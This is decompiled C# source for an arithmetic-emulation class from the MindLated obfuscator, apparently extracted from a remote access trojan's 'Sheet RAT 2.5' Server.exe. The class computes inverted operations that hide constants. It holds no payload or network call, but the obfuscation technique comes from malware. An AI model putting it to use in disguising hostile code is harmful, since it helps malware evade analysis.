// Decompiled with JetBrains decompiler // Type: MindLated.Protection.Arithmetic.ArithmeticEmulator // Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA // Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe using System; using System.Windows.Forms; using System.Collections.Generic; //#nullable disable namespace MindLated.Protection.Arithmetic { public class ArithmeticEmulator { private readonly double _x; private readonly double _y; private readonly ArithmeticTypes _arithmeticTypes; public ArithmeticTypes GetType { get; private set; } public ArithmeticEmulator(double x, double y, ArithmeticTypes arithmeticTypes) { this._x = x; this._y = y; this._arithmeticTypes = arithmeticTypes; } public double GetValue() { switch (this._arithmeticTypes) { case ArithmeticTypes.Add: return this._x - this._y; case ArithmeticTypes.Sub: return this._x + this._y; case ArithmeticTypes.Div: return this._x * this._y; case ArithmeticTypes.Mul: return this._x / this._y; case ArithmeticTypes.Xor: return (double) ((int) this._x ^ (int) this._y); default: return -1.0; } } public double GetValue(List arithmetics) { MindLated.Protection.Arithmetic.Generator.Generator generator = new MindLated.Protection.Arithmetic.Generator.Generator(); ArithmeticTypes arithmetic = arithmetics[generator.Next(arithmetics.Count)]; this.GetType = arithmetic; switch (this._arithmeticTypes) { case ArithmeticTypes.Abs: if (arithmetic == ArithmeticTypes.Add) return this._x + Math.Abs(this._y) * -1.0; if (arithmetic == ArithmeticTypes.Sub) return this._x - Math.Abs(this._y) * -1.0; break; case ArithmeticTypes.Log: if (arithmetic == ArithmeticTypes.Add) return this._x - Math.Log(this._y); if (arithmetic == ArithmeticTypes.Sub) return this._x + Math.Log(this._y); break; case ArithmeticTypes.Log10: if (arithmetic == ArithmeticTypes.Add) return this._x - Math.Log10(this._y); if (arithmetic == ArithmeticTypes.Sub) return this._x + Math.Log10(this._y); break; case ArithmeticTypes.Sin: if (arithmetic == ArithmeticTypes.Add) return this._x - Math.Sin(this._y); if (arithmetic == ArithmeticTypes.Sub) return this._x + Math.Sin(this._y); break; case ArithmeticTypes.Cos: if (arithmetic == ArithmeticTypes.Add) return this._x - Math.Cos(this._y); if (arithmetic == ArithmeticTypes.Sub) return this._x + Math.Cos(this._y); break; case ArithmeticTypes.Round: if (arithmetic == ArithmeticTypes.Add) return this._x - Math.Round(this._y); if (arithmetic == ArithmeticTypes.Sub) return this._x + Math.Round(this._y); break; case ArithmeticTypes.Sqrt: if (arithmetic == ArithmeticTypes.Add) return this._x - Math.Sqrt(this._y); if (arithmetic == ArithmeticTypes.Sub) return this._x + Math.Sqrt(this._y); break; case ArithmeticTypes.Ceiling: if (arithmetic == ArithmeticTypes.Add) return this._x - Math.Ceiling(this._y); if (arithmetic == ArithmeticTypes.Sub) return this._x + Math.Ceiling(this._y); break; case ArithmeticTypes.Floor: if (arithmetic == ArithmeticTypes.Add) return this._x - Math.Floor(this._y); if (arithmetic == ArithmeticTypes.Sub) return this._x + Math.Floor(this._y); break; case ArithmeticTypes.Tan: if (arithmetic == ArithmeticTypes.Add) return this._x - Math.Tan(this._y); if (arithmetic == ArithmeticTypes.Sub) return this._x + Math.Tan(this._y); break; case ArithmeticTypes.Tanh: if (arithmetic == ArithmeticTypes.Add) return this._x - Math.Tanh(this._y); if (arithmetic == ArithmeticTypes.Sub) return this._x + Math.Tanh(this._y); break; case ArithmeticTypes.Truncate: if (arithmetic == ArithmeticTypes.Add) return this._x - Math.Truncate(this._y); if (arithmetic == ArithmeticTypes.Sub) return this._x + Math.Truncate(this._y); break; } return -1.0; } public double GetY() => this._y; } }